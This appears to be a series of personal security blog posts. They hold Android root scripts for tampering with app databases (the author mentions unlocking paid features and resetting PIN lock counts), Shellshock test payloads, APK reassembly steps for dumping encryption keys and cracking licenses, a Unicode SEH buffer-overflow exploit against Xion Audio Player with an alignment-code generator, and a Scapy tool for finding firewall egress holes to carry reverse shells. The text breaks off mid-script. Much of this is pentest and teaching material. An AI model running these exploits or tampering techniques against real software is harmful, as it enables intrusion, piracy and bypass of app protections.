Android app configuration manipulation

So you got an Android application and you would like to temper with its configuration files? Nothing easier than that as long as you have a rooted Android phone, a sqlite editor and a text editor.

I only wanted to temper with the databases of the app. I used this script (pull-databases.sh) to get the databases:

APP=com.example.theNameInYourAndroidManifest
TMP=/data/local/tmp
APP_UID=`adb shell dumpsys package $APP|grep userId=|cut -d " " -f 5|cut -d "=" -f 2`
#after first run, maybe hardcode, so you can also push files when Android is still starting up and before the app started:
#APP_UID=10000
echo "[+] Removing local folder"
rm -r ./$APP-databases
echo "[+] The applications UID and GID is:"
echo $APP_UID
echo "[+] Copying database to tmp dir"
adb shell "su -c cp -r /data/data/$APP/databases $TMP/$APP-databases"
echo "[+] chmoding tmp dir to 777"
adb shell "su -c chmod -R 777 $TMP/$APP-databases"
echo "[+] Pulling database"
adb pull $TMP/$APP-databases $APP-databases
echo "[+] Removing database in tmp"
adb shell "su -c rm -r $TMP/$APP-databases"

You might need to change the cut commands, as they might not work in every case. Then, to upload the databases back to the phone, use this script (push-databases.sh):

APP=com.example.theNameInYourAndroidManifest
TMP=/data/local/tmp
APP_UID=`adb shell dumpsys package $APP|grep userId=|cut -d " " -f 5|cut -d "=" -f 2`
#after first run, maybe hardcode, so you can also push files when Android is still starting up and before the app started:
#APP_UID=10000
echo "[+] The applications UID and GID is:"
echo $APP_UID
echo "[+] Pushing to tmp dir"
adb push $APP-databases $TMP/$APP-databases
echo "[+] Copying from tmp to app dir"
adb shell "su -c cp -pr $TMP/$APP-databases/* /data/data/$APP/databases/"
#cp -p  doesn't seem to preserver mode, but sets it to 666
echo "[+] chmoding app dir"
#attention: 777, easy way out, but databases might have different flags...
adb shell "su -c chmod -R 777 /data/data/$APP/databases"
adb shell "su -c chmod 771 /data/data/$APP/databases"
echo "[+] removing tmp database"
adb shell "su -c rm -r $TMP/$APP-databases"
#cp -p doesn't seem to preserve owner, but sets it to shell
echo "[+] chowning app dir"
adb shell "su -c chown $APP_UID.$APP_UID /data/data/$APP/databases"
adb shell "su -c chown $APP_UID.$APP_UID /data/data/$APP/databases/*"

If you want to get the entire configuration of the app, you can use this script (pull-all.sh):

APP=com.example.theNameInYourAndroidManifest
TMP=/data/local/tmp
APP_UID=`adb shell dumpsys package $APP|grep userId=|cut -d " " -f 5|cut -d "=" -f 2`
#after first run, maybe hardcode, so you can also push files when Android is still starting up and before the app started:
#APP_UID=10000
echo "[+] Removing local folder"
rm -r ./$APP
echo "[+] The applications UID and GID is:"
echo $APP_UID
echo "[+] Copying app dir to tmp dir"
adb shell "su -c cp -r /data/data/$APP $TMP/$APP"
echo "[+] chmoding tmp dir to 777"
adb shell "su -c chmod -R 777 $TMP/$APP"
echo "[+] Pulling app dir from tmp"
adb pull $TMP/$APP $APP
echo "[+] Removing app dir in tmp"
adb shell "su -c rm -r $TMP/$APP"

As I didn’t need to push the entire app configuration, I didn’t write a push-all.sh script. That could get messy with the permissions and I didn’t want to do a chmod 777. But of course you can do that if you like.

These simple scripts got me some really nice results during pentests. Activate apps that I only had in the free version. Reset the app’s PIN lock count. Disable ads showing in the application.

Shellshock fix – bash compiling for OSX

By now probably all of you heard of the shellshock vulnerability. Just as a small heads-up, I wasn’t able to compile the bash version 4.3 on Mac OSX as the last few patches simply don’t work for me. But here’s how you can compile, test and install version 4.2 on your OSX:

#adopted from an original post (that was deleted) from http://www.linus-neumann.de/2014/09/26/clean-your-mac-from-shellshock-by-updating-bash/

PATCH_COMMAND=patch
#No better results with gnu-patch from mac ports -> /opt/local/bin/gpatch


#VERSION_TO_COMPILE=4.1
#VERSION_TO_COMPILE_NO_DOT=41
#VERSION_NUMBER_OF_PATCHES=17

VERSION_TO_COMPILE=4.2
VERSION_TO_COMPILE_NO_DOT=42
VERSION_NUMBER_OF_PATCHES=53

#patches starting from 029 don't work for me in version 4.3
#VERSION_TO_COMPILE=4.3
#VERSION_TO_COMPILE_NO_DOT=43
#VERSION_NUMBER_OF_PATCHES=30


echo "* Downloading bash source code"
wget --quiet http://ftpmirror.gnu.org/bash/bash-$VERSION_TO_COMPILE.tar.gz
tar xzf bash-$VERSION_TO_COMPILE.tar.gz 
cd bash-$VERSION_TO_COMPILE

echo "* Downloading and applying all patches"
for i in $(seq -f "%03g" 1 $VERSION_NUMBER_OF_PATCHES); do
   echo "Downloading and applying patch number $i for bash-$VERSION_TO_COMPILE"
   wget --quiet http://ftp.gnu.org/pub/gnu/bash/bash-$VERSION_TO_COMPILE-patches/bash$VERSION_TO_COMPILE_NO_DOT-$i
   $PATCH_COMMAND -p0 < bash$VERSION_TO_COMPILE_NO_DOT-$i
   #sleep 0.5
done

echo "* configuring and building bash binary"
sleep 1
./configure
make

echo "* writing bash test script"
#The following script will only work when your cwd has the bash binary,
#so you can execute ./bash
#mostly taken from shellshocker.net:
cat << EOF > /tmp/tmp-bash-test-file.sh
    #CVE-2014-6271
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    env x='() { :;}; echo vulnerable' ./bash -c "echo no worries so far"
    #CVE-2014-7169
    echo "* If the following lines print the actual date rather than the string 'date' you are vulnerable:"
    env X='() { ()=>\' ./bash -c "echo date"; cat echo;
    #unknown
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    env X=' () { }; echo vulnerable' ./bash -c 'echo no worries so far'
    #CVE-2014-7186
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    ./bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "vulnerable CVE-2014-7186 , redir_stack"
    #CVE-2014-7187
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | ./bash || echo "vulnerable CVE-2014-7187 , word_lineno"
    #CVE-2014-6278
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    shellshocker='() { echo vulnerable; }' ./bash -c shellshocker
    #CVE-2014-6277
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    ./bash -c "f() { x() { _;}; x() { _;} <<a; }" 2>/dev/null || echo vulnerable
    #more tests, probably often testing the same as above, but better safe than sorry
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    env X='() { _; } >_[$($())] { echo vulnerable; }' ./bash -c : 
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    foo='() { echo vulnerable; }' ./bash -c foo
EOF

echo ""
echo "* Starting a new bash process to check for vulnerabilities"
echo ""
sleep 1
./bash /tmp/tmp-bash-test-file.sh

echo ""
echo "* If the compiled bash binary is not vulnerable, you want to install that binary in your system:"
echo "cd bash-$VERSION_TO_COMPILE"
echo "sudo make install"
echo "sudo mv /bin/bash /bin/old_vulnerable_bash && sudo ln /usr/local/bin/bash /bin/bash"

cheers,
floyd

Android app disassembling, modification and reassembling

This is actually nothing very new, but what probably a lot of people do for a long time already. You can use this technique to do security reviews, to crack license mechanisms of apps, check how easy it is to modify your own app or do malware research. I’m not saying you should or shouldn’t do any of these. As usually tested on Mac OSX only but should work on Linux or other Unix, too.

You need the following folder structure (or simply download the Android-app-disassembling-reassembling.zip):

  • Folder called “apks-to-process”
  • Folder called “external-tools”
  • File “disassemble.sh” (see below)
  • File “reassemble.sh” (see below)
  • In the “external-tools” put the apktool.jar
  • In the “apks-to-process” folder put your Android app apk file

After you run the disassemble.sh file you find the smali code for your app in the “outputs/smali-output” directory. Now you can change the app as you like. Here are three suggestions:

  • I recommend to add the android:debuggable=”true” attribute in the AndroidManifest.xml to your application tag. Afterwards you will be able to see the log messages of the application in logcat (“adb logcat” command when your phone is connected via USB).
  • Replace one of the png files in the ressources folder
  • If your application is making a new instance of a SecreKeySpec for encryption (something like “new-instance v1, Ljavax/crypto/spec/SecretKeySpec” in smali, grep for it), try to dump the contents of the secret key. That’s pretty easy with IGLogger. Download the IGLogger files and put the iglogger.smali file in the folder “outputs/smali-output/<you app’s name>/smali/”. Then open the file where you found the SecreKeySpec intialisation. Add a new instruction after the invoke-direct line which will initialize the SecretKeySpec (e.g. “invoke-direct {v4, v5, v6}, Ljavax/crypto/spec/SecretKeySpec;->([BLjava/lang/String;)V”). This is the place where the secret key is passed to the SecretKeySpec constructor. As we know that the first argument is the secret key, we have to log the Dalvik VM’s register v4. Add “invoke-static {v4}, Liglogger;->d([B)I” after the initialisation statement.

After you have done all your modifications, run reassemble.sh. There will be an apk file you can install on your device (see the last message that reassemble.sh will print). If you have added IGLogger, you will see a line in logcat that prints the secret key (for example run “adb logcat|grep -i IGLogger”).

Happy hacking
floyd

Here’s the disassemble.sh that will disassemble your apk file to smali code:

#!/bin/bash
ORGWD=`pwd`

#Configurable Parameters
APKLOCATION=$ORGWD/apks-to-process #where the APK files are stored that should be processed

#Disassembling
SMALI_TARGET=$ORGWD/outputs/smali-output #Where to save the results
APKTOOLSTART="java -jar $ORGWD/external-tools/apktool.jar" #The apktool

########
#Normally you should not need to change anything below here
########

#Look for the files to dissassemble
cd $APKLOCATION
FILES=`ls *.apk`

if [ -e $SMALI_TARGET ]
then
    echo "[ERROR] Please delete/rename $SMALI_TARGET folder first!"
    exit
else
    mkdir $SMALI_TARGET
fi

for f in $FILES
do
  echo "[INFO] Disassembling $f"  
  $APKTOOLSTART d $f $SMALI_TARGET/$f
done

cd $ORGWD

Here’s the reassemble.sh code that will reassemble your app to a signed and ready to be installed Android app apk file:

#!/bin/bash
ORGWD=`pwd`

#Configurable Parameters
APKLOCATION="$ORGWD/outputs/faked-apks" #where the APK files will be stored that should be produced

#Reassembling
SMALI_TARGET="$ORGWD/outputs/smali-output" #Where to get the apps to reassemble
APKTOOLSTART="java -jar $ORGWD/external-tools/apktool.jar" #The apktool

########
#Normally you should not need to change anything below here
########

#Look for the files to dissassemble
cd "$SMALI_TARGET"
FILES=`ls`

if [ -e "$APKLOCATION" ]
then
    echo "[ERROR] Please delete/rename $APKLOCATION folder first!"
    exit
else
    mkdir "$APKLOCATION"
fi

for f in $FILES
do
  echo "[INFO] Reassembling $f"  
  $APKTOOLSTART b "$SMALI_TARGET/$f" "$APKLOCATION/$f"
  if [ ! -f "$APKLOCATION/someone.keystore" ]
  then
    keytool -genkey -noprompt -dname "CN=example.ch, OU=floydsReassembling, O=example, L=example, S=example, C=CH" -storepass password -keypass password -alias someone -validity 100000 -keystore "$APKLOCATION/someone.keystore" -keyalg RSA -keysize 2048
  fi
  jarsigner -verbose -storepass password -keypass password -sigalg SHA1withRSA -digestalg SHA1 -keystore "$APKLOCATION/someone.keystore" "$APKLOCATION/$f" someone
  mv "$APKLOCATION/$f" "$APKLOCATION/$f.unaligned"
  zipalign -v 4 "$APKLOCATION/$f.unaligned" "$APKLOCATION/$f"
done

echo "TODO:"
echo "adb install \"$APKLOCATION/$f\""

cd "$ORGWD"

Automated generation of code alignment code for Unicode buffer overflow exploitation

Update: Implemented an advanced version for mona.py.

Puh, I know, long title. So as I was going through my corelan training material again, I was trying to exploit the public Xion exploit that can be found on exploit-db (please read the exploit first). As I can’t cover all the basics in this blog posts, here just a short overview of the exploit:

  • Exploits Xion Audio Player version 1.0.125 when opening an m3u file
  • Extremely straight forward, write 5000 A’s to a file, change extension to .m3u, open with Xion player, boom!
  • It’s an SEH exploit. So we control one of the exception handlers. It’s Unicode, so if you use corelan’s mona, use things like !mona seh -cp unicode. Unicode exploits are a little bit tricky, you often get null bytes, the presentation of FX about Unicode exploiting helped a lot.

Ok, let’s assume you already did the SEH exploiting and got code execution. So if you want to play from this point, here’s the exploit so far (simply hits our garbage). All the steps starting from this script are explained in the video below (although you might need to know how to change the offset to SEH by injecting a cycling patter, because the .m3u path length matters):

import subprocess
overflow_length = 5000
offset = 237 #Attention: changes with path length of the m3u file!
seh_handler = "\x93\x47" #will be transformed to 0047201C and at that address there is a POP; POP; RET;. This means we can jump to seh_nextrecord and execute it. Set breakpoint on this SEH handler!
seh_nextrecord = "\x50\x6d" #Serves as a kind of "NOP" here
garbage = "B"
junk = "A"*offset+seh_nextrecord+seh_handler+garbage*(overflow_length-offset-len(seh_nextrecord)-len(seh_handler))

payload = junk
dbg = "C:\\Program Files\\Immunity Inc\\Immunity Debugger\\ImmunityDebugger.exe"
exploitable_exe = "C:\\Program Files\\r2 Studios\\Xion\\Xion.exe"
exploit_file = "C:\\testig101\\test\\theUnicode\\exploit.m3u"
file(exploit_file,"wb").write(payload)
subprocess.call([dbg,exploitable_exe,exploit_file])

So now we’re at the point where we want to run shellcode. Usual shellcodes can not be used in Unicode environments, therefore we need to use an encoder, for example the Alpha3 encoder. Now the thing with encoders is that they normally use a GetPC routine or a BufferRegister to locate themselves in memory. GetPC is not compatible with Unicode, so we have to use a BufferRegister. A BufferRegister means nothing else than writing the address of the location of the first byte of the shellcode into a register and telling the shellcode which register it is. To achieve this goal, we need to write an alignment code that is Unicode compliant itself.

Now we come to the core part of this post: Writing alignment code. How do we write the correct address into the register? So far this involved some manual work. We have to find Unicode compatible opcodes. We can look at the transformation tables in FX’s presentation, but for a lot of characters this means we inject “\x41” and it will be transformed to “\x41\x00”. So which opcodes of the x86 assembler language have null bytes in it? Even worse, for most of our injections the opcodes must have a null byte every second byte. Or at least we have to get rid of those zero bytes.

I checked on the metasm shell (included in the Metasploit framework under the tools folder) and found out that all ADD operations with 4 byte registers (ah, al, bh, bl, etc.) start with a zero byte:

metasm > add ah,bl
"\x00\xdc"

So because I’m a lazy guy and don’t want to do the manual work, I wrote a program that will write the alignment code for me and hopefully for everybody else in the future.

Here are the steps that have to be done if you want to use my script:

  1. Make sure the first four bytes of the BufferRegister are correct (not part of the script).
  2. Get some reliable values into EAX, ECX, EDX, EBX with as few null bytes in it as possible (not part of the script).
  3. Tell my script the value of the EAX, ECX, EDX, EBX registers when the debugger stops exactly at the position where the alignment code will start. Additionally tell the script the address of the start of the alignment code (the current EIP).
  4. Run the script. It uses a random “heuristic” (well, bruteforcing with random inputs). So far I always got the single best result (with this approach) when I run it at least 1 minute. An alignment code that is a little longer is normally found in a couple of seconds.
  5. Stop the script (Ctrl+C) when you waited long enough and think there will be no shorter result. Copy the best/shortest/last alignment code into the metasm shell to get opcodes in hex.
  6. Remove the null bytes from the alignment code (they get injected in the Unicode transformation).
  7. Inject the alignment code, add your produced Unicode shellcode, pwn!

The idea is to calculate the correct value where our shellcode lies. But if the shellcode is put directly after the alignment code, every additional instruction in the alignment code will increase our “target” address we want to have in our BufferRegister. This means we don’t know the location from the beginning, but have to calculate it. Until now the approach was to chose an address that is enough far away and then jump to that address at the end of the alignment code. This script finds better solutions. The script does nothing else than trying to sum up the different bytes of AH, AL, BH, BL etc. and try to find the correct value, always keeping track on how many instructions are already needed and adjusting the “target” address where the shellcode will live. So far the theory. Some more theory, the math modell behind:

written by floyd - floyd.ch
all rights reserved

http://www.floyd.ch
@floyd_ch

We are talking about a problem in GF(256). In other words the numbers are modulo 256. Or for the 
IT people: A byte that wraps around (0xFFFFFFFE + 0x00000002 = 0x00000001).

Let's first discuss a simple example with 8 inputs (a1..a8). We need the more general case, 
but so far 8 inputs is the maximum that makes sense. Although it doesn't make any
difference. If we solve the general case with (let's say) 16 Inputs we can
simply set the not needed inputs's to zero and they will be ignored in the model.
The script runs in the general case and can operate in all cases!

Inputs (values): a1, a2, ..., a8 mod 256
Inputs (starts): s1, s2 mod 256
Inputs (targets/goal): g1, g2 mod 256
Outputs: x1, x2, ..., x8, y1, y2, ..., y8 where these are natural numbers (including zero)!

Find (there might be no solution):
s1+a1*x1+a2*x2+a3*x3+a4*x4+a5*x5+a6*x6+a7*x7+a8*x8-((s2+2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8)+3)/256) = g1 mod 256
s2+a1*y1+a2*y2+a3*y3+a4*y4+a5*y5+a6*y6+a7*y7+a8*y8-2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8)-3 = g2 mod 256

Minimise (sum of outputs):
x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8

Example
{a1, a2, ... a8} = {9, 212, 0, 0, 32, 28, 50, 188}
{s1, s2} = {233, 212}
{g1, g2} = {253, 75}

Btw the +3 and -3 in the formula is because we have to get rid of the last zero byte, we do that by injecting
\x6d, which results in 00 6d 00 (serves as a "NOP"), meaning we need to add 3 to the address.

[Extra constraints!]
1. As we first set AH (or whatever higher byte is in start_is) to the correct value
AH has changed until we want to set AL. Therefore the instruction
add al, ah will NOT return the correct result, because we assume an old value
for the AH register! That's why we have a originals (a1...a8) and
modify them to a21, a22, a23, .. a28 (only for y1...y8, for the x values we're fine)
2. Additionally, the following instructions are not allowed (because it would be a lot more
complicated to calculate in advance the state of the register we are modifying):
add ah, ah
add al, al
Solved by overwriting if random generator produced something like that.
3. This program only works if you already managed to get the first
four bytes of the alignment address right (this program operates
only on the last four bytes!)

I would say that the script already works pretty well, although it is not yet tested with a lot of different situations. Enough talking, here is the script:

#written by floyd - floyd.ch
#all rights reserved
#
#http://www.floyd.ch
#@floyd_ch

#Inputs - later in mona read it from the breakpoint we're at
start_is = ['ah', 'al'] #Means: Our BufferRegister is chosen as aex
start = 0xE9D4 #Nothing else than the last four bytes of our BufferRegister
goal = 0xFD53 #Address of the first byte of the alignment code, but without
              #the setting up of the EAX,EBX,ECX,EDX registers!
              #In other words: the address where the first byte of the here
              #generated code is
eax=0x02cde9d4
ecx=0x0047201c
edx=0x7C9032BC
ebx=0x02CDE8F8
#End inputs

#Options:
MAGIC_PROBABILITY_OF_ADDING_AN_ELEMENT_FROM_INPUTS=0.25
#Idea of 0.25: We will add every fourth register to the sum.
#This means in average we will increase by 2 instructions every run of 
#randomise.
MAGIC_PROBABILITY_OF_RESETTING=0.04 #an average of about 40 instructions
MAGIC_MAX_PROBABILITY_OF_RESETTING=0.11 #an average of about 20 instructions
#Idea: This is a trade-off - we don't want
#to find no results by resetting to often (and never even
#trying an instruction length of e.g. 500 bytes). On the other
#hand we don't want to search in solutions with a lot of bytes
#when we already found a shorter solution. Therefore we will
#slightly increase it with time.
#End options - don't modify anything below here!

import pprint, time, random, copy
def main():
    originals = []
    ax = theX(eax)
    ah = higher(ax)
    al = lower(ax)
    
    bx = theX(ebx)
    bh = higher(bx)
    bl = lower(bx)
    
    cx = theX(ecx)
    ch = higher(cx)
    cl = lower(cx)
    
    dx = theX(edx)
    dh = higher(dx)
    dl = lower(dx)
    
    start_address = theX(start)
    s1 = higher(start_address)
    s2 = lower(start_address)
    
    goal_address = theX(goal)
    g1 = higher(goal_address)
    g2 = lower(goal_address)
    
    names = ['ah', 'al', 'bh', 'bl', 'ch', 'cl', 'dh', 'dl']
    originals = [ah, al, bh, bl, ch, cl, dh, dl]
    sanitiseZeros(originals, names)
    
    #a1, a2, a3, a4, a5, a6, a7, a8 = originals
    #x1, x2, x3, x4, x5, x6, x7, x8 = [0 for i in range(0,8)]
    #y1, y2, y3, y4, y5, y6, y7, y8 = [0 for i in range(0,8)]
    
    #xs = [x1, x2, x3, x4, x5, x6, x7, x8]
    #ys = [y1, y2, y3, y4, y5, y6, y7, y8]
    
    xs = [0 for i in range(0,len(originals))]
    ys = [0 for i in range(0,len(originals))]
    
    #[Extra constraint!] 1.
    #we have to modify the AH value, because it will change until
    #we reach the instruction where we modify AL
    originals2 = copy.copy(originals)
    originals2[names.index(start_is[0])] = g1 #it will be the target value
    
    best_result = 999999999
    number_of_tries = 0.0
    while True:
        #Hmm, we might have a problem to improve the heuristic (random right now)
        #if we don't put the Extra constraints into the formula
        randomise(xs)
        randomise(ys)
        
        #[Extra constraint!] 2.
        #not allowed: 
        #add al, al
        #add ah, ah
        xs[names.index(start_is[0])] = 0
        ys[names.index(start_is[1])] = 0
        
        tmp = check2(originals, originals2, [s1, s2], [g1, g2], xs, ys, best_result)
        if tmp > 0:
            best_result = tmp
            #we got a new result
            printNicely(names, start_is, xs, ys)
        #Slightly increases probability of resetting with time
        probability = MAGIC_PROBABILITY_OF_RESETTING+number_of_tries/(10**8)
        if probability < MAGIC_MAX_PROBABILITY_OF_RESETTING:
            number_of_tries += 1.0
        if random.random() <= probability:
            #print "Reset"
            xs = [0 for i in range(0,len(originals))]
            ys = [0 for i in range(0,len(originals))]
    

def sanitiseZeros(originals, names):
    for index, i in enumerate(originals):
        if i == 0:
            print """WARNING: Your %s register seems to be zero, for the heuristic it's much healthier
            if none is zero. Although it might still work, it might also not work or take longer.""" % names[index]
            del originals[index]
            del names[index]
            return sanitiseZeros(originals, names)


def randomise(values):
    for index, i in enumerate(values):
        if random.random() <= MAGIC_PROBABILITY_OF_ADDING_AN_ELEMENT_FROM_INPUTS:
            values[index] += 1

def check2(as1, as2, ss, gs, xs, ys, best_result):
    g1, g2 = gs
    s1, s2 = ss
    sum_of_instructions = sum(xs) + sum(ys) 
    if best_result > sum_of_instructions:
        res0 = s1
        res1 = s2
        for index, _ in enumerate(as1):
            res0 += as1[index]*xs[index] % 256
            res1 += as2[index]*ys[index] % 256
        res0 = res0 - ((s2+(2*sum_of_instructions)+3)/256) #+3 for the 6d at the end, which is 006d00 
        res1 = res1 - (2*sum_of_instructions+3) #+3 for the 6d at the end, which is 006d00 
        if g1 == res0 % 256 and g2 == res1 % 256:
            debug("###FOUND")
            debug("a11...a1?", hexlist(as1))
            debug("a21...a2?", hexlist(as2))
            debug("s1, s2", hexlist(ss))
            debug("g1...g2", hexlist(gs))
            debug("x1...x?", xs)
            debug("y1...y?", ys)
            debug("No of instructions:", sum_of_instructions)
            return sum_of_instructions
    return 0
        
#Old version of check that doesn't support variable as1/as2 lengths, but
#might just be easier to understand if somebody wants to understand this stuff
# def check(as1, as2, ss, gs, xs, ys, best_result):
#     g1, g2 = gs
#     s1, s2 = ss
#     a11, a12, a13, a14, a15, a16, a17, a18 = as1
#     a21, a22, a23, a24, a25, a26, a27, a28 = as2
#     x1, x2, x3, x4, x5, x6, x7, x8 = xs
#     y1, y2, y3, y4, y5, y6, y7, y8 = ys
#     
#     num_of_instr = x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8
#     
#     if best_result > num_of_instr:
#         if (s1+a11*x1+a12*x2+a13*x3+a14*x4+a15*x5+a16*x6+a17*x7+a18*x8-((s2+2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8)+3)/256)) % 256 == g1 \
#         and (s2+a21*y1+a22*y2+a23*y3+a24*y4+a25*y5+a26*y6+a27*y7+a28*y8-2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8))-3 % 256 == g2:
#             debug("###FOUND")
#             debug("a11...a18", hexlist(as1))
#             debug("a21...a28", hexlist(as2))
#             debug("s1, s2", hexlist(ss))
#             debug("g1...g8", hexlist(gs))
#             debug("x1...x8", xs)
#             debug("y1...y8", ys)
#             debug("No of instructions:", num_of_instr)
#             return num_of_instr
#     return 0

def printNicely(names, start_is, xs, ys):
    #print names, start_is, xs, ys
    resulting_string = ""
    sum_instr = 0
    for index, x in enumerate(xs):
        for k in range(0, x):
            resulting_string += "add "+start_is[0]+","+names[index]+"; "
            sum_instr += 1
    for index, y in enumerate(ys):
        for k in range(y):
            resulting_string += "add "+start_is[1]+","+names[index]+"; "
            sum_instr += 1
    resulting_string += "add [ebp],ch;"
    sum_instr += 1
    result("Use the following instructions (%i long, paste into metasm shell/remove all zero bytes):\n"%sum_instr, resulting_string)

def hexlist(list):
    return [hex(i) for i in list]
    

def theX(num):
    res = (num>>16)<<16 ^ num
    #print hex(res)
    return res
    
def higher(num):
    res = num>>8
    #print hex(res)
    return res
    
def lower(num):
    res = ((num>>8)<<8) ^ num
    #print hex(res)
    return res
    
def result(*text):
    print "[RESULT] "+str(" ".join(str(i) for i in text))
    
def debug(*text):
    if False:
        print "[DEBUG] "+str(" ".join(str(i) for i in text))

main()

As I talked to Peter aka corelanc0d3r he liked the idea that we could implement it into mona, although there are a few things that should be changed/added. It is important that we get static and reliable addresses into EAX, ECX, EDX and EBX before we do the math. So in mona the first two steps from above should be integrated as well. Therefore mona should do the following:

  1. Check if EBP is a stackpointer, if yes go to 2. otherwise go to 3.
  2. Pop EBP into EAX: \x55\x6d\x58\6d
  3. Pop ESP into EBX: \x54\x6d\x5B\6d
  4. Find reliable stack pointers on the stack and pop different ones into EDX, ECX (and EAX if 2. was not executed)
  5. Do the math and suggest to user

In a lot of cases this procedure of checking EBP and find reliable stack pointers is probably not necessary. But to get higher reliability for the automated approach it should be done. As Peter pointed out, one of the registers could be filled with a timestamp or something. For now, if you use my script, check for these things manually.

Another good thing I have to point out about this script: We won’t need to jump to the shellcode and we don’t need to put garbage between the alignment code and the shellcode. The script/math model makes sure that the next instruction after the alignment code is exactly where our BufferRegister is pointing to (and where we can put our Unicode shellcode).

Now check out the video describing all the steps and how to use the script:

Go to vimeo to watch the video

Update: Implemented an advanced version for mona.py.

Sending generic HTTP(S) requests in python

During Web Application Penetration tests I always need to automate requests, e.g. for fuzzing. While most of the local proxy/testing softwares (Burp, WebScarab, w3af, etc.) include a repeater/fuzzer feature, I often want to do addtional computations in python (e.g. calculating a hash and sending it as a fuzzed value or comparing parts of the response). The following script will take an entire HTTP(S) request as a string, parse it and send it to the server. As I show with the POST parameter “fuzzableParam” in this example, values can easily be fuzzed.

def send_this_request(http_request_string, remove_headers=None):
    """
    Always HTTP/1.1
    """
    import urllib2
    if remove_headers is None:
        remove_headers=['content-length', 'accept-encoding', 'accept-charset', 
        'accept-language', 'accept', 'keep-alive', 'connection', 'pragma', 
        'cache-control']
    for i, remove_header in enumerate(remove_headers):
        remove_headers[i] = remove_header.lower()
    if '\n\n' in http_request_string:
        headers, body = http_request_string.split('\n\n',1)
    else:
        headers = http_request_string
        body = None
    headers = headers.split('\n')
    request_line = headers[0]
    headers = headers[1:]

    method, rest = request_line.split(" ", 1)
    url, protocol = rest.rsplit(" ", 1)

    merge_host_header_into_url = False
    if url.startswith("http"):
        merge_host_header_into_url = False
    elif url.startswith("/"):
        info("Warning: Defaulting to HTTP. Please write URL as https:// if you want SSL")
        merge_host_header_into_url = True
    else:
        fatalError("Protocol not supported. URL must start with http or /")

    header_tuples = []
    for header in headers:
        name, value = header.split(": ", 1)
        if merge_host_header_into_url and name.lower() == 'host':
            url = 'http://'+value+url
        if not name.lower() in remove_headers:
            header_tuples.append((name, value))
            
    opener = urllib2.build_opener()
    opener.addheaders = header_tuples
    urllib2.install_opener(opener)

    try:
        return urllib2.urlopen(url, body, 15).read()
    except urllib2.HTTPError, e:
        info('The server couldn\'t fulfill the request. Error code:', e.code)
    except urllib2.URLError, e:
        info("URLError:", e.reason)
    except Exception, e:
        error("DIDNT WORK:", e)
        
def info(*text):
    print "[PY-INFO] "+str(" ".join(str(i) for i in text))

def error(*text):
    print "[PY-ERROR] "+str(" ".join(str(i) for i in text))

request = '''POST http://example.com/ HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Referer: http://example.com
Content-Length: 132
Cookie: test=somevalue; abc=123
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

id=123&fuzzableParam='''

additionalValue = "&anotherParam=abc"

for i in ['78', '-1']:
    print send_this_request(request+i+additionalValue)

Ack-All-Happy-Scapy – Finding a hole in a corporate firewall

When being located in a corporate environment (internal network), it is sometimes interesting to know if there are ports that are not outbound filtered, or in other words, if there is a hole where an attacker could connect to the outside world (damn perimeter-security). For example Apple products need port 5223 to be open for push notifications. So if the iPhones and iPads of managers should work, you have to open that outbound port 😀 . Of course you can simply chose one of those ports for your reverse shell when you take over one of their web servers in a later step. So what’s the easiest way to check if there is an open port, apart from knowing that they use the Apple push notification?

The following script can be run on every server, that has a public IP and Python/Scapy installed. When this script is running, it will send back a TCP SYN/ACK to every SYN coming from outside. It doesn’t matter which port. So if you do a NMAP SYN-Scan (-sS switch), all ports will be shown as open. Unless the corporate firewall between you and the server is blocking the SYN probes. So simply do a nmap SYN-Scan from the internal network of the company to the server and each open port is an open outbound port (unless there is some more filtering active such as deep packet inspection).

#!/usr/bin/python
# -*- coding: utf-8 -*-
DEBUG_ON=False
def ack-all-happy-scappy():
    from scapy.all import sniff, send, Ether, IP, TCP
    import os
    #################
    #CONFIG OPTIONS
    #################
    
    #Standard options
    my_ip = "xxx.xxx.xxx.xxx" #your external IP
    my_interface = "eth0"
    exclude_ports = ["22"] # Exclude ports, that already have a service running 22 = SSH,
    DEBUG_ON = False
    
    #Advanced options
    static_seq = 1337 #Specify as None for random seq number
    start_iptables_command = "iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP"
    end_iptables_command = "iptables -D OUTPUT -p tcp --tcp-flags RST RST -j DROP"
    
    #################
    #CONFIG END
    #################
    
    #Actual code start
    if os.geteuid() != 0:
      info("You must be root to run this script.")
      sys.exit(1)    
    
    info("##################################")
    info("The ACK-ALL-HAPPY-SCAPY script, written by floyd")
    info("This script can only be used with SYN-scans (nmap -sS)")
    info("Altough untested, this should work as well for IPv6")
    info("##################################")
    sleep(3)
    info("This is how the IPTABLES looked, before starting ACK-ALL-HAPPY-SCAPY:")
    executeInShell("iptables -L")
    
    def getSeqNumber():
        if static_seq:
            return static_seq
        else:
            import random
